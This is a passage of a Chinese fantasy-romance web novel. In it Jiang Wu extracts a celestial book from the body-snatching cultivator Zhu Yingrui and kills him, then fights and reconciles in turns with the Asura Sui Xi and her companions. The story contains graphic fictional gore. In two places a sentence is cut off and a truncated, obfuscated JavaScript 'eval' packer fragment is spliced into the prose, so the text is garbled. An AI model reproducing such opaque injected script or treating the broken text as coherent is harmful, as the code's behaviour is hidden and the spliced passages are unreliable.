朱英叡嗤笑一声,“大修罗,活了千万年之久的睢羲,甚至在开天辟地时便存在的人物,就这点本事吗?杀我一个大乘期修士而已,不能抬手就要了我的命吗?还是说你已经进入衰退期了?” 姜芜轻叹了一息,“他可不是在手下留情,他是在找天书的位置。”说完,她从墙壁上取下了只蜡烛,用戾气引了火,抬手打向绞架上的尸体。 朱英叡停下了进攻的动作,神情大惊,“不!!!” 睢羲一愣转身看向了绞架上熊熊燃烧的尸体,神情出现了一瞬间的急迫,片刻后他才看向拿着蜡烛的姜芜,无可奈何地摇了摇头,并不认同她的做法。 朱英叡立刻扑上前,意图用真元扑灭尸体上的大火。 姜芜见状将朱英叡控制住,警告道:“别动,你也不想夺舍而来的身体毁坏吧?你夺舍这具身体,莫非原先的身体已经不能用了吗?” 朱英叡阴狠地看着姜芜,仿佛要将她生脱活剥,他转头看着睢羲,随口讥讽道:“修罗睢羲,你便是如此看着你的新欢将你的旧旧爱挫骨扬灰吗?” 姜芜面无表情地说:“你不必如此挑拨离间,虽然我不知晓你是从何处找到这具尸体并长时间保持不腐的,但是我可以明确的告诉你,这是我之前所用的身体,他不会因为一具尸体跟我斤斤计较。东城的毒,就是用这具尸体上的骨肉做的引子吧,所以才如此难解。” 朱英叡闻言颓败地跌坐在地。 姜芜说完之后突然想起了什么,脸上突然露出一丝恶心,“这具尸体是段怀野找回来的吧,一直存放于长衡山上?二十年前被你盗出来研究长生药?以为食了我的骨肉能长生不老吗?真是有趣。” 朱英叡抬眸震惊地看向姜芜,“你是谁?你也夺舍重生了吗?” “现下轮到你来问我了吗?你还有一点时间来思考我是谁。” 姜芜挥手将尸体上的火焰熄灭,伸手在尸体上面的胸腹上一划,泛白没有血色的内脏立刻流淌了一地,她伸手探入冰凉的皮肉之中摸索了片刻,这具尸体内已经没有了血液,血管都是干瘪的,但是却极其具有弹性,只是不知段怀野是用何种方法保存至今的。 “心脏已经没有了,难道已经被你吃了吗?”姜芜面上有些遗憾,“这具尸体吃了只能增长修为,并不能长生不老,而且长时间受到戾气的侵蚀,骨血已经具有了修罗的腐蚀性,若是食用的话必定穿肠烂肚。” 朱英叡冷静了下来,他放声大笑,抬眸看着姜芜问道:“那你现下这具身体呢?食用是否能修为大增?突破境界?!” 姜芜看了一眼睢羲,甩了甩手上的碎肉,笑靥如花,“已经晚了呢。” 睢羲出声道:“尸体不会有心脏的。” “我险些忘了。”姜芜懊恼地一笑,“还想着能不能恢复活性拿来用呢。” “心脏?”朱英叡蹙眉,片刻后他狂笑了起来,他仰起头神情狠厉地看着姜芜,“我也许知道你是谁了,你是那个害我至此的歹徒,我恨不得将你碎尸万段!不杀你,我妄为五行道宗弟子,我苟延残喘至今,就是为了要杀你!” 姜芜见状甩手打在朱英叡的脸上,神情冰冷地问道:“手下败将而已,叫得还挺欢,当年让你跑了,如今用天书换你的命如何?你夺舍这具尸体,是因为原先的尸体不能用了吧,看来心脏损毁的很严重,不如当初让我挖了一了百了,省得你痛苦二十余年,做出此等大逆不道之事。” 朱英叡神情一愣,他完全没有想到姜芜会如此出手,火辣辣的侧脸顿时密密麻麻地疼了起来。 “你想要天书?你把我害成这个样子,你想要天书?!我为何这样,我为何大逆不道,我为何违逆师门,不都是拜你所赐吗?”朱英叡怒视着姜芜,“即便是我给你天书,你看得懂吗?简直是痴心妄想。” 姜芜伸手扼住朱英叡的脖颈,“我说了,用天书换你的命,换还是不换?不要跟我多说废话。” 朱英叡脸上青筋暴起,喉咙中发出如同风箱一般的声音,他笑着问道:“怎么?你不想要我的心了吗?” 睢羲欲言又止地看着姜芜,两个疯癫的人对峙,一时之间竟分不出谁心魔执念更重,他想出手制止,却最终选择了放弃,他想让姜芜继续错下去,一错到底。 “你们七个人,我挖了六个人的心,你说如果有用的话,即便是你逃回五行道宗求师门庇护,我也能追杀你。”姜芜垂眸一笑,“凡人之心,甚是无用。无用之物,我寻来做何?” 姜芜说完之后便甩手将朱英叡扔开。 “天书是否在你身上?” 朱英叡猛然呼吸到大量的空气,剧烈地咳嗽了起来,“你觉得我会给你天书吗?” 姜芜的耐心耗尽,她的掌心中腾得一簇耀眼的黑红色戾气,戾气缓慢地扩散开,攀附上她的手臂燃烧至她的肩膀,她毁掉绞架上的尸体,一步一步地朝着跪伏在地上的朱英叡走去。 朱英叡喘着粗气,他看着姜芜突然心生恐惧,“你即便是杀了我,我也不会告诉你天书的下落。”说完,他便合上了双眸,表现出一副引颈就戮的模样。 “啧。” 姜芜抬手将掉落在一旁的斩魄剑招来,她仔细地看着自己手中的骨剑,谆谆诱导,“附身于他人的身体其实并不好受吧,你唤何名来着?越迦柯,你不想从朱英叡的身体里出来,回到自己的身体中吗?或者与这具身体磨合得更好,像我一样,完完全全将这具身体占为己有。” 朱英叡看了一眼地上已经烧成灰烬的尸体,随即又抬眸看向姜芜,“你有办法?” 姜芜勾唇笑了起来,“当然,我可以将戾气打入你的五心之处,你利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱英叡平躺在地上,俨然一副垂危的模样,他喘着粗气,“既然你如此信守承诺,我定不会食言。”说完,他从内府之中取出一支白玉书筒,断断续续地念了几声口诀,一簇金色的光芒从书筒之中飞出,大大小小的文字在空中浮现。 姜芜仰头看着天书的内容,金色的光芒落在她略显苍白的脸上,仿佛涂了一层蜜蜡,粉饰着她双眸中的癫狂。 睢羲神情一愣,天书内容主要是由神文写成,人族文字起初经过女娲大神的简化神文而成,后续经过朝代演变更为简易,早已经脱离了神文的形与意。 睢羲也只仅能看懂部分内容。 朱英叡问道:“天书你已经看了,现下是否可以给我最后一道戾气。” “当然。” 姜芜敛眸,然后朝着朱英叡走了过去,她俯身看着后者,神情略显戏谑。 朱英叡被姜芜盯得有些发毛,“怎么?” “我只是想不通这天书是怎样成为残卷的?”姜芜问道,“你知晓吗?” 朱英叡摇了摇头,“自我拜入山门了解到天书之后,它仿佛便只有这个残卷,至于其他的我也不知晓在何处。” 姜芜问道:“那东城一事呢?” 朱英叡冷汗津津地嗤笑一声,“你觉得长生不老药的研制过程如此简易吗?要怪就怪东城段玉浆河底长了能吸附长生不老药的水草吧,所有投入水中销毁的半成品全部停留在了东城段,这种水草还能控制药不随水扩散,久而久之形成了毒障,但是长生不老药还需要继续研制,如果不是取不到那水草,我真想挖来看看这是各种妙物。” 朱英叡抬起了自己血肉模糊的手,缓缓得用真元修复着,他看着自己雄厚的真元,忍不住感慨道:“没想到,我吸取了那么多妖兽内丹,甚至还从天书上引了一段神力,修为居然毫无长进,若非天书是祖师爷留下来的,我可真要怀疑它的真假了。” 姜芜双眸一眯,“霰雪蝶也是你捉来的?天书中竟然有威力如此大的捉妖阵法?” “霰雪蝶?”朱英叡面色空白地摇了摇头,“不,是有人给我的,但是我并不知晓那人是何来历,不像是人族,倒像是邪修。他只告诉我霰雪蝶的鳞粉有致幻功效,可暂时掩盖东城之事,让百姓不起疑心。等使用上那具尸体的骨血后,鳞粉的作用便失效了,否则也不会像现下这般。” 姜芜问道:“作为交换呢?你给了他什么?” 朱英叡唇角一勾,“你是否了解得太多了呢?” 姜芜说:“好吧,戾气打入天心可能会非常之痛,只要忍过去便可脱胎换骨。” 朱英叡的双眸中迸发出一种奇异的光彩,他神情痴狂地看着姜芜,“来!” 姜芜掌心中汇聚起戾气,随即拍向了朱英叡的头顶,只听到一声闷响,鲜红与黄白两种液体交融在一起喷洒得到处都是,朱英叡的身体无力地倒了下去,颈部以上不翼而飞,只剩下血泊中的两颗眼珠。 “如你所愿。” 32. 想要 姜芜长长地舒了一口气,伸手取过一旁的白玉书筒,将天书引入其中,然后重新封印起来。 “越迦柯,身为五行道宗弟子,夺舍重生,不仁不义,欺君罔上,之百姓于蝼蚁,盗取天书,残害妖族。今日,我也算是替段怀野清理门户了吧。” 姜芜眯了眯双眸,神情有些悲痛,天书到手,她瞬间感觉到其中充沛的灵气。 “濯濯?” 睢羲站在原地未动,然后朝着姜芜伸出了手。 “嗯?”姜芜挑眉,她看了一眼手中的天书残本,“要天书吗?还是要我?” 睢羲没有任何的迟疑,“要你。” 姜芜拎起衣摆,抬脚跨过朱英叡的尸体朝着睢羲走了过去。 睢羲伸手擦干净了姜芜脸上的血污,“下次不要将自己弄得这么脏。” “只是偶尔而已,我觉得还需要他们两个送那些小妖回大荒。”姜芜看向那群瑟缩在一起的小妖怪们,将天书收进了袖袋之中,朝着小妖们走了过去,“你们还有其他的伙伴吗?” 小兔精摇了摇头,“没有了,活着的都在这里了,还有一些被挖出内丹带走了。” 姜芜问道:“那你们知道那些挖出来的内丹去哪里了吗?” 小妖们集体摇了摇头。 季易走了进来,他搓了搓鼻子,有些不适应这里的气味,不满地抱怨道:“你们怎么总能找到这种奇奇怪怪的地方?而且又多出来了这么多的小妖要送回大荒吗?” 沛然抬眸看了睢羲一眼,脸上有些疑惑,最终还是点了点头,他突然运转起体内的戾气,然后朝着姜芜袭去。 姜芜唤出无心乱,击退了沛然的进攻,“还是忍不住动手吗?是不是有些太快了?” 季易不明就里地问道:“沛然你疯了?你在做什么?!” 沛然旋身避开姜芜的长鞭,身形迟疑片刻,从侧方直扑了上去,“她身上有天书。” 季易面色一变,伸手便向姜芜抓去,“既然有天书那便拿来吧。” 姜芜强力用戾气压制住二人,从他们的夹击之中冲向睢羲,“跟我动手,你们两个还不够格,想要拿到天书,还要靠他出手。” 睢羲抬手抓住姜芜的长鞭,一言不发地看着她。 姜芜见状,手腕一转,长剑弹出,她毫不犹豫地刺向睢羲。 睢羲唤出离旧,骨鞭迅速聚集到一处,汇成一把长刀挡住了姜芜的进攻。 “反正你也不是第一次拿我送你东西指向我了。” 睢羲蹙眉,脸上闪过一瞬间的不忍。 姜芜见状释放出周身的戾气,将睢羲震了出去,黑红色的戾气从她的身上倾泻而下,很快布满了整间石室。 季易推到了门口的位置,“这个女人居然能操控这么多戾气吗?也太强悍了吧。” 沛然说:“能陪在大人身边的自然不简单。” 睢羲后退半步,他扫视了一圈四周,却看到姜芜迎面斩开戾气,双手握着无心乱直直地刺了过来,锋利的剑尖顺着旧伤没入了心脏中。 睢羲蹙眉,握住姜芜的手顺着她的力道后退了几步,脸上的痛处一览无余。 姜芜神情有些差异,后知后觉才反应过来,面前是睢羲的本体,并非他之前所说的木偶之躯。 姜芜握着无心乱的手用了几分力道,却没有再刺下去,她心中燃起了熊熊怒火,几乎捏碎手中骨制手柄。 睢羲问道:“你要天书做何用?这卷残本我看过了,里面没有封印无幻之境的办法,也没有复生段怀野的办法,你得去也无用,而且你也不需要借助其中的神力修行。” 姜芜抽/出无心乱,将斩魄剑卷至手中,转身向石室外掠去,黑红色的戾气也在瞬间收入她的体内,消失殆尽。 石室内重新归于寂静,小妖们缩在一起,神情惊恐地看着面前的几个修罗,连呼吸都小心翼翼的。 睢羲用戾气修复好破损的外衣,走至季易和沛然身侧,他扫了一眼周围六神无主的小妖,“送它们回大荒吧。” 沛然看了一眼睢羲伤口,关切地问道:“大人,您的伤?” 睢羲说:“无碍,她并没有下死手,只是想让我收手。” “那天书......” 睢羲抬手打断沛然,“我在扬州城等你们,戚诃手中应该还有天书残卷,让濯漪去替我们寻也可以,到时候可以将两卷残本一起收回来。”说完,他便化身一阵戾气飞出了石室。 季易有些不解地挠了挠头发,“他们两个这是怎么回事?你追我,我追你这样的过家家吗?这也未免玩得太大了些吧,刀刀出血,剑剑下狠手。” 沛然说:“大人的事情我们少打听,先将这些小妖送回大荒。” 季易抱怨道:“行行行,大荒都快熟门熟路了,天天给他们擦屁股,这些小妖怎么那么蠢啊,轻而易举就被抓到了?太弱了吧。” 清晨,姜芜在扬州城外的茶摊上落脚,她喝着杯中有些涩口的粗茶,不自觉地蹙起了眉毛,好在面条顺滑劲道,口味也合她心意。 商扶庭背着太初剑出城,当他在茶摊上看到姜芜时有些难以置信地揉了揉眼睛,确定自己不是在做梦之后快步走了过去。 “这几日你去哪里了?”商扶庭怒气冲冲地坐到了姜芜对面,神情担忧地看着她,“你知不知晓大家都很担心你?” 商扶庭神情有些憔悴,双眸中布满了血丝,近几日的焦虑在看到姜芜之后便消失得无影无踪,只剩下了担忧,虽然他并不清楚自己为何会有这种心绪变迁,但是在看到姜芜的那一刻,他的怒火确实消失得一干二净。 商扶庭在醒来得知姜芜失踪之后,也曾怀疑过这一切都是阴谋,姜芜从一开始便在欺骗他们,现下修罗手中有了若木之根和顒鸟精火,他们想修复无幻之境简直难如登天。 商扶庭面对众人的争论,最终还是选择相信姜芜,义无反顾地拿着太初剑起身出门寻找她的下落,毕竟睢羲的强大是众所周知,当日情况如此危急,他趁乱把姜芜挟持走也不无可能。只是,商扶庭有些担忧睢羲会因为姜芜的选择而对她不利,就像他迁怒于姜芜对修罗模棱两可的态度一样。 后续商扶庭也反思过,毕竟那是姜芜的族人,虽然她意图封印无幻之境的目的不明,但换位思考之下,商扶庭也无法对自己的同族下手。 姜芜抬眸看了商扶庭一眼,随后咬断面条,用帕子擦了擦唇角,调侃道:“不过才两日时间,你这么担心我啊?” 商扶庭不屑地偏过头,“谁担心你了,少自作多情,这些天你都去何处?” 姜芜应了一声,将碗里的牛肉吃干净后才开口道:“小道士,你有钱吗?” 商扶庭问道:“你想做何事?” 姜芜抿着双唇,眨了眨眼睛,“我没吃饱,想再加一份牛肉。” “他都不让你吃饱饭吗?”商扶庭蹙眉,让店小二又切了盘牛肉送来,“你不是有很多钱吗?都挥霍干净了。” 姜芜幽幽地叹了口气,“此事说来话长,等我吃饱再说。” 商扶庭见状也不再催促姜芜,看着她将面条和牛肉一扫而光。 “你吃过早饭了吗?”姜芜用汤勺搅着碗中的面汤,垂眸喝了几口汤,“要不要再来一碗?” 商扶庭蹙眉,面上有些疑虑,“我吃过了,你还没有吃饱吗?要再吃一些吗?还有这几日你到底去了何处?身上有受伤吗?” “我吃饱了。”姜芜放下汤勺,“我这几日去了天都城,本想试着解决那里的投毒一事,却发现此事并非表面上那么简单,其中涉及权贵。” “涉及权贵?天子脚下,投毒一事怎会与权贵相牵连?”商扶庭问道,“那你解决天都东城投毒一事了吗?” 姜芜慢条斯理地喝着茶,“并没有,戚门主研制的解药如何了?何为权贵?坐至高位,手握重权。行至暮年,畏惧死亡,便想求得长生。河水中并不是毒物,而是失败的长生不老药。” 商扶庭面色凝重,“戚门主研制出的解药只能缓解,并不能根治,司空法师昨日收到了天都的消息,中毒之事愈发严重,甚至有内脏血化之像,天都民不聊生,东城宛如人间炼狱,难道百姓没得救了吗?” “有的救。” 姜芜放下手中的茶杯,“只要去无幻之境内拿到天河之水,便可以净化河水,到时只需要将天河之水滴入玉浆河水中,百姓取水饮用便可病除。” 商扶庭问道:“去无幻之境并非易事,以我的修为怕是难如登天。只是东城百姓等不了,可有便捷之法?” 姜芜想起长生不老药的主要成分,沉默地摇了摇头。 商扶庭沉思着,突然想起弱水水神,当时他的精血混合了弱水也可以解万毒,他抬头看向姜芜,殷切地问道:“弱水水神可否?” 姜芜挑眉,她翻转手腕撑在自己的下颌处,神情戏谑,心中起了逗弄之意,“小道士,你觉得以水神一人之命换取天都城东城所有百姓的命,可行?” 商扶庭神情有些焦急,正准备开口,却被姜芜制止。 “即便是你想,也是不可以的哦,因为水神是神职,不受人间管束,若是他出事怕是上面会怪罪下来,即便他因救人而功德无量,但是弱水千百万年才会产生一位水神,若是到时弱水泛滥,大荒遭殃,这个责任谁来担当?”姜芜说,“隋姑娘也是个可怜人,一生都要活在痛苦之中,你还要她痛上加痛吗?” 商扶庭神情有些纠结,最终还是归因于自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个人在扬州城内逛了半日,临近晌午之时才准备回万毒门,商扶庭有些诧异,罕见得发觉姜芜没买任何东西,与她平日里逛街大包小包的样子不符,又想起早上在茶摊上肉钱和面钱都是他来付的,心中便起了一丝不忍。 “姜芜?” 姜芜从一只香囊上收回手,有些不解地回头看向商扶庭。 “怎么?” 商扶庭抿了抿双唇,有些懊悔自己的嘴快,但又不想收回,“你想要何物?我可以买给你。” 姜芜有些惊讶地看着商扶庭,片刻后她笑着看了看四周,“那小道长,能不能给我买些梨子?我见那梨子皮薄多汁,只是看着便觉得好吃。” 商扶庭点了点头,去小摊上买了几个梨子折了回来,他用帕子将梨擦干净,然后递给了姜芜。 商扶庭也不知晓自己为何会这么做,只是想这么做。 姜芜用戾气将梨整个梨皮削了下来,又将梨分成了四份,递到了商扶庭面前。 商扶庭蹙眉,“我们不兴分梨的。” 姜芜随口回道:“生离死别,人类不喜欢也正常……” 姜芜止住话头,突然觉得有些不妥,她垂眸看着手中分成四份的梨,随即收回手默不作声地吃了起来。 商扶庭见状,又想起之前种种,忍不住问道:“你为何如此喜欢吃梨?” “极昼的时候,无幻之境会很干,我有时候会受不了热风,经常会咳出血,睢羲就会前往人类的集市上买梨给我润肺。”姜芜说,“后来闲来无事在无幻之境内学习你们人族,往土地里种一些能够收获的种子或者树苗,可是到头来只有梨树存活,但是结出来的果子又小又酸,根本不如你们种出来的好吃。” 商扶庭笑了一声,“你不是修罗吗?怎么还会受不了无幻之境内的热风,再者你不是说你活了成千上万年吗?都没有适应过来吗?” 姜芜若有所思地说:“让你如此提醒,也确实是很久之前的事情了。不过我并非降生就是大修罗,沾了活得长的光。” 商扶庭无奈地摇了摇头,“时候不早了,回万毒门吧,雾沅和寂满也很担心你。” 【万毒门】 两人一前一后地进门,沈确急匆匆地迎了出来。 “师兄,掌教真人来信了。” 商扶庭说:“阿确,先别急,掌教真人在信中说了何事?” 沈确气喘吁吁地说:“掌教真人说南疆鬼族人进犯荆州城,城主萧魁为抵抗鬼族人,已经陨落了,让我们尽快启程代表师门前去悼念。” 商扶庭蹙眉,面色凝重,“荆州城的鬼族进犯已经如此猖狂了吗?连萧城主都无能为力了吗?” 33. 抉择 寂满从屋顶飞身而下,先是围着姜芜转了几圈,随后才斥责道:“你还知道回来啊?当初你把我和雾沅丢下的时候,我们险些以为你要英勇就义了呢。” 姜芜挑眉,“是你觉得我要英勇就义了,还是你们?肯定是你,雾沅才不会这么觉得。” 雾沅见姜芜身上没有伤处,面色红润,精神尚佳,才安心开口道:“回来就好。” 姜芜不解地看着二人,“你们好生奇怪,为何这么担心我?他又不是什么吃人不眨眼的魔头,我还能死在他手中不成?” 雾沅如实道:“我们也是担心你,毕竟你的所作所为令人匪夷所思,万一他心有芥蒂。” 姜芜忍俊不禁,“虽然听起来确实有些费解,但是似乎很有道理。不过,他什么大风大浪没有见过,不至于为这些小事跟我计较。对了,雾沅我有事想问你。” 寂满闻言凑了上去,愤愤不平地说:“你们有什么事情是我不能听的吗?雾沅,你有些太不够意思了,你到底跟谁是一伙的?怎么谁都找你谈话要避开我?” 雾沅有些无奈地看着寂满,扭头问姜芜,“他方便听吗?” “如果他不想被我吊起来的话,就跟过来吧。”说完,姜芜便转身向一旁的寂静处走去。 雾沅颔首,随着姜芜往一旁的观景台走去。 商扶庭出声喊住姜芜,“你先好好休息,取顒鸟精火一事不急,但尽量在明日天黑之前我们能启程前往荆州。” 姜芜点头,“今夜便可以,让戚门主着手准备吧。” 雾沅见已经远离了众人,便开口问道:“你想问我何事?” 姜芜挥袖,将茶具摆出,她撩开外袍的衣摆坐下,低头烧水煮茶。 “有关于商扶庭的事情,我想问问你。” 雾沅想起两日前的异状,商扶庭被封闭五感六识后完全变了一个人,那人修为极高,能驾驭太初剑斩破睢羲的戾气,救他们于危难之际,实属令人震撼。 “你问吧,我能答的也不多。”雾沅说,“那日是他喊我封闭他的五感六识,虽然我并不知晓这么做的原因,但当时情况紧急,我也有疾病乱投医的倾向,所以不得不这么做,他应当是知晓了何事所以才会如此要求。” 姜芜若有所思地敲击着桌面,等水烧开后便开始冲茶,“我觉得他应该并不知晓,只是猜测而已。毕竟他头发雪白的模样,可太像段怀野了。我虽未见过五行道宗的护山大阵,但护山大阵本质是请段怀野残神上身后的全力一击,而商扶庭的状态就像是段怀野再世。” 姜芜话落,有些头疼地伸手按了按眉心。 雾沅面上一惊,“那他是否就是呢?” 姜芜不解地看着雾沅,“是什么?” 雾沅面上沉了下来,“段怀野转世。” 姜芜蹙眉,随即释然一笑,她摇了摇头,开口问道:“雾沅,你知晓段怀野是怎么死的吗?” 雾沅追问道:“如何死的?” 姜芜见茶点瓷碟中还放着她昨日蒸好的栗子糕,她理了袖子拈了一块,“当初封印无幻之境的最后,他性命垂危,以圣人之躯加固了封印,神魂尽灭。唔,不如昨日酥软了,你要尝尝吗?” 雾沅闻言看向了碟中的栗子糕,精致又小巧,即便是已经发冷,但依旧能闻到其中散发出的一丝属于栗子的香甜。 “可以吗?” 姜芜扬了扬下颌,“当然可以啊,不过我做的点心几乎没人吃过,也不晓得符不符合你的口味,比起街上点心铺子里卖的还是差很多的。” “段怀野也没有吃过吗?”雾沅取了一块栗子糕,细细地咀嚼了起来,咬掉外面一层有些冷硬的表皮,舌尖便能感受到一层沙制的绵软,栗子捣得很碎,同面粉非常好得混合在了一起,口味香甜。 “很好吃。” 姜芜应了一声,“好吃就行,我在天都城发现了一些事情,最初玉浆河水投毒一事,开始是因为霰雪蝶的鳞粉,这个你清楚吗?” 雾沅颔首,“有所耳闻,毕竟当初我的族人几乎被贩卖到了九州各地。” 姜芜沉思了片刻,暂时将天书的事情隐瞒了下来,“我在天都城遇到了一个权贵,他在研究长生不老药,抓了很多刚化形没多久的小妖怪,以及一些修罗。投过毒的玉浆河水最初只是会让人头晕腹泻,这是因为霰雪蝶的鳞粉所致,后续开始内脏腐化,喷涌而出,这是因为修罗的骨血所致。” 雾沅面色一惊,双拳紧紧地握了起来,“霰雪蝶鳞粉有毒众所周知,他为何要如此做?” 姜芜说:“他最初只是想研究妖兽为何比人长生,其实妖兽内丹都被他用做了修行,被挖走内丹的妖兽保持着半人半妖的状态供人取乐。” 雾沅蹙眉,声音有些发涩,“只是一个权贵而已,为何能够做到如此?即便是一个刚化形的小妖,也不会被轻而易举地捉住......” 雾沅猝然止住了话头,脸色瞬间变得惨白,他想起了天都城皇室培养的南斗与北斗两方除妖法师,捕捉小妖而已对于他们来说轻而易举,况且还有闲散修士替他们捉妖。 姜芜见状,抬手给雾沅添水,“怎么?想起何事?” “那日我们离开大荒时,遇到了捕捉妖兽的兄弟三人,专门捕捉修为低下的女妖,起初我只是以为这只是偶然,没想到大荒之外已经如此盛行了吗?南斗与北斗也不分善恶了吗?”说完,雾沅手指发颤地端起茶碗,却因为烫到了手指而不得不放下。 姜芜随口调侃道:“我这套茶具可是很名贵的,世间难寻,你可不要给我磕出痕迹。” 雾沅缩了一下手,低声说:“抱歉,我只是......” “虽然人族现下不信弱肉强食的自然法则,但是因为他们文明的快速发展,从而将茹毛饮血的弱肉强食演变成了杀人不见血的阶级剥削。”姜芜顿了一下,“所以,本质上还是不变的,所以你也不用太过于苦恼,至于南斗与北斗,只是听君令受君恩的可怜人而已。” 雾沅抿了抿双唇,“你方才说玉浆河现下会致人内脏腐化是因为修罗骨血。” 姜芜敲了敲桌面,端起茶杯细细地品着茶水,“对,修罗骨血。只不过那人也不是灭你族人的罪魁祸首,霰雪蝶也是别人给予他的。” 雾沅见姜芜避开了修罗族的事情,也知趣地没有继续再问,“那万毒门这边?” “照旧。”姜芜说,“我说过会帮你,肯定不会食言的。” 雾沅若有所思地说:“这几日通过与戚诃的相处发觉这人对门内大小事务亲力亲为,还会救济城内百姓,可怜无父无母的稚子,却没想到这样一个人人称赞的好人也会如此,霰雪蝶化形并不容易,也不会对人族不利,最终还是因为我看管不利,不应该答应让他们离开大荒的。” “人不为己天诛地灭,你也别太自责。” 一道黑色的戾气从天际飞来落到了姜芜的茶盘上。 雾沅见状,抬眸有些担忧地看着姜芜,“这?你们之间到底有何误会?” 姜芜伸手将戾气拢在掌心握碎,睢羲的声音立刻灌注于她的识海之中,“他快死了,他的死是由我造成的,你说他该不该恨我?” 雾沅不解,“仅凭你们二人之间千万年的情谊,我觉得他应该不会怪你,即便是他的生命要走到尽头。而且他活得应该比我想象的要久,万事通透,不会受七情六欲所阻挠,一定是你误会他了。再者,你回扬州没多久,他便寻了过来,且以他的修为没有对你做任何不利的事情,这还不够说明一切?” 姜芜挑眉,随口道:“并不,只是我恨他而已,所有的事情从头到尾都跟他没有关系。” 雾沅问道:“你恨他?我的这份推论难道不能适用在你身上吗?” “不能。”姜芜笑着起身,“我有事要出去,麻烦你同他们说一声,我晚饭前会赶回来的,不会耽误今夜的事情。” 雾沅颔首,“知晓了。” 扬州城内,秦淮河畔。 姜芜按照睢羲的传讯找到了那艘画舫,她提起裙摆踏上,伸手撩 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睢羲应了一声,“但是我不热,你自己扇便好。”说完,他便抬手一挥,所有的木料按照他的想法搭建成型,绳索也拴着坐板挂了上去。 “这也太迅速了吧。”姜芜起身用团扇遮住阳光,欣喜若狂地看着搭建好的秋千,脸上绽放开如花一般的笑容,“我可以试试嘛?” 睢羲抬手打了一道加固的法术在秋千上,“试试吧,本就是为你搭的。” 姜芜坐上去轻轻地晃了晃,“人族真的很有趣,总会想出各种各样的小玩意来哄开心,什么秋千啊、拨浪鼓啊、万花镜啊、风车啦。” 睢羲伸手握住秋千的绳子晃动,“都是哄小孩的玩意。” 姜芜回头看着睢羲,“怎么不见无幻之境内有修罗幼崽降生?” 睢羲说:“修罗......在□□上只图快/感,不需繁衍,即便是有修罗幼崽降生,女修罗也会在第一时间将其吃掉,或者让它自生自灭,很少会像人类一样将其抚养长大。” 姜芜神情一惊,“为何?” 睢羲解释道:“因为没有必要,人族繁衍关乎生命的存续,但是修罗不需要,幼崽对于修罗来说是累赘。” “好吧。” 姜芜面上的失落转瞬即逝,接着她起身站在了坐板上,居高临下地看着睢羲。 “这样很危险。”睢羲放开绳子,伸手揽住姜芜的腰,“要么好好玩,要么就下来。” 姜芜轻轻地一笑,直接从坐板上跳进了睢羲的怀中,“我刚刚在想,我该送你些什么好呢?” 睢羲摇了摇头,“不需要你送我。” 姜芜仰仗着睢羲会抱紧她,大胆地张开了双臂,扬声道:“那我要把这世间最好最有趣的东西送给你。” “梦见何事了?如此高兴?” 姜芜睁开眼便看到了睢羲,后者手中提着一个食盒,正俯身来看她,空出来的那只手轻轻地抚摸上了她的脸。 姜芜不语,她抻了个懒腰,看了一眼画舫外的光景,乌金西沉,江面上倒影一片昏黄,飞鸟扇动着归家的翅膀,逐渐远离。 “你说你这人,我都那么对你了,为何还要凑上来?” 睢羲起身将食盒放在桌上,反问道:“你又是为何又来赴约?” 姜芜起身刚要开口却听到了睢羲的声音。 “我为了天书而来。”睢羲说,“我昨夜想过了,濯濯,我这次来是想给你一次选择的机会。” 姜芜起身走到桌边,伸手将食盒打开,性质冲冲地看着里面的东西,“什么?” 睢羲说:“前尘旧事,我们一笔勾销,你回来我们还像从前一般,或者我们就此一刀两断,从今往后互不干涉。濯漪,你来选。” 姜芜手中的动作一顿,指节逐渐泛白,她抬眸看了一眼睢羲,然后将食盒内的东西依次取了出来,并从自己的纳袋中取出来一坛江心月。 “行,散伙酒……喝吗?” 34. 夜长 睢羲面色动容,他无言上前,从酒坛中别分往两只酒杯里倒酒,率先取了其中一杯一饮而尽。 “姜芜,你选的,是你先忘记我们的誓言。” 姜芜单手撑在桌上,另一只手攥紧了桌上的酒杯,“还有其他的事情吗?” 睢羲垂眸,“吃饭吧。” 姜芜手指发颤,她坐在了睢羲对面的位置。 睢羲在画舫中燃了灯,随后默不作声地看着姜芜进食。 姜芜垂着眼眸,声音发涩,“你不吃吗?” 睢羲说:“修罗不需要进食。” 姜芜扫视了一圈桌上的菜肴,几乎都是扬州的特色,她提筷夹了片蒲包肉,往旁边的蘸料中过了一遍。 “那是醋,蘸太多容易倒牙。”说完,睢羲举起面前的酒杯,细细地品着其中的江心月,发链偶尔撞在杯沿,发出清脆的声音。 姜芜充耳不闻,低头不语往口中塞着饭菜。 睢羲蹙眉,神情有些不悦地看着姜芜,他见后者多次扫过那盘切好的梨块,便起身将盛着梨块的瓷碟放置她的手边。 姜芜看着那碟晶莹剔透、饱满多汁的梨块有些出神,她想起了白日里商扶庭说的话,分梨便是分离的意思,顿时没了胃口。 “灵气和戾气相生又相克。”姜芜取过一旁的帕子擦着唇上的油花,偏过头不再去看睢羲,“无幻之境内戾气充足,你若是还想活,就应该暂时不要到人间来,这里的灵气会加速你的伤势。睢羲,你的身体如何,还需要我再同你重复吗?” 睢羲捏着酒杯的手一顿,随后喝尽杯中的酒,“无妨。” 姜芜神情不解地看着睢羲,“在这间画舫上,我们还有情谊可谈,等我离开这里,我们之间可就没什么好谈的了。” 睢羲抬眸看着姜芜,神情冷淡,他轻轻地将酒杯放在桌上,“姜芜,你想谈何事?” 姜芜的眉心拢得更紧,她咬紧牙关,有些反感睢羲现下的态度,“你本可以一直待在无幻之境内,不用听百衢的指令,这次又是因为何事出来寻找天书?天书之内蕴含着深厚的灵力,不是你能碰的,可是你非要做到如此地步,到底是为何?除非......你想死。” 睢羲轻轻地应了一声,“我都知晓,不过这些都与你无关。” 姜芜把筷子拍在了桌上,她一字一顿道:“你想死是吗?” 睢羲垂眸,不再回答姜芜的问题,只是一杯又一杯地喝着杯中的江心月。 